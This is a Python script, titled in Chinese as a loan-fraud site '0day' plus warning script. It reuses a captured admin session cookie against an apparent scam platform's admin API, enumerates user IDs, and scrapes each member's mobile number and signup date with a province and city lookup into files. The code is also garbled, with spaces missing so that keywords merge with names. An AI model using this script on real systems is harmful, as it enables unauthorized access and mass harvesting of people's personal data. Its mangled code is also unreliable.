贷款诈骗 x 摸版0day + 实战预警脚本

import requests
import urllib3
fromconcurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from lxml importetree
from phone importPhone
from openpyxlimport Workbook
import os
import datetime
import mzfuzz
import re
from phone importPhone
urllib3.disable_warnings()
headers1="""
Host:pajr1.admin.ygbnca.top
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0.4183.83 Safari/537.36
uid: null
Accept: */*
Referer: http://pajr1.admin.ygbnca.top/admin/user
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Cookie:__utmc=172029730;__utma=17661233.1050237378.1599625263.1599625263.1599625263.1; __utmc=17661233;__utmz=17661233.1599625263.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);phpsession=s%3ATbyQ4x_nVrjE1pKuqhGfI1S3Dzd60cNi.Fsxsm9rZAVxLktelnx5ddZjMmJFwE7weWwTChRZv1WY;__utmz=172029730.1599644805.2.2.utmcsr=fofa.so|utmccn=(referral)|utmcmd=referral|utmcct=/result;__utma=172029730.1899440815.1599623231.1599721167.1599725375.4;__utmb=172029730.1.9.1599725375
Connection: close
"""
headers=mzfuzz.ls_header(headers1)
today1 =datetime.date.today()
oneday=datetime.timedelta(days=2)
yesday1=today1-oneday
yesday=str(yesday1).replace('2020-','')
today=str(today1).replace('2020-','')
# print(yesday)
call=Phone()
#获取userid
defhtmldowns02(domain):
    try:
        uid=htmldown03(domain)
        uid=int(uid)
        forpage in range(uid,57,-1):
            print(page)
            fori in range(0,4):
                try:
                    url=f"{domain}/api/v1/admin/members/detail?user_id={page}"
                    res=requests.get(url,headers=headers,timeout=6)
                    withopen(f'daikuans/userinfos.txt','a+',encoding="utf-8") as f:
                        f.write(res.text)
                        f.write('aaaaaa')
                    aa=res.text
                    try:
                        #print(aa)
                        cal=re.findall('"mobile":(.*?),',aa)
                        #address=re.findall('"now_detail_address":"(.*?)"',aa)
                        created_at=re.findall('"created_at":"(.*?)"',aa)
                        #print(address)
                        call1=call.find(cal[0])
                        pro=call1['province']
                        ci=call1['city']
                        info=cal[0]+'\t'+pro+'\t'+ci+'\t'+created_at[0]+'\t'+domain
                        withopen(f'daikuans/{today}.txt','a+',encoding='utf-8') as f:
                            f.write(info)
                            f.write('\n')
                        print(info)
                    #print(address[0])
                    exceptException as e:
                        print(e)
                        pass
                    print(f"page={page}")
                    break
                exceptException as e:  
                    print(e)
                    pass
            #print(info)
            ifstr(yesday) in str(created_at):
                print(yesday)
                print(created_at)
                break
            else:
                print('yes')
    except:
        pass
#获取最大uid
defhtmldown03(domain):
    fori in range(0,4):
        try:
            url=f"{domain}/api/v1/admin/members/list?mobile=&page=1"
            res=requests.get(url,headers=headers,timeout=6)
            af=res.text
            #print(af)
            uid=re.findall('"user_id":(.*?),',af)
            print(f'uid-- > {uid[0]}')
            returnuid[0]
        exceptException as e:  
            print(e)
            pass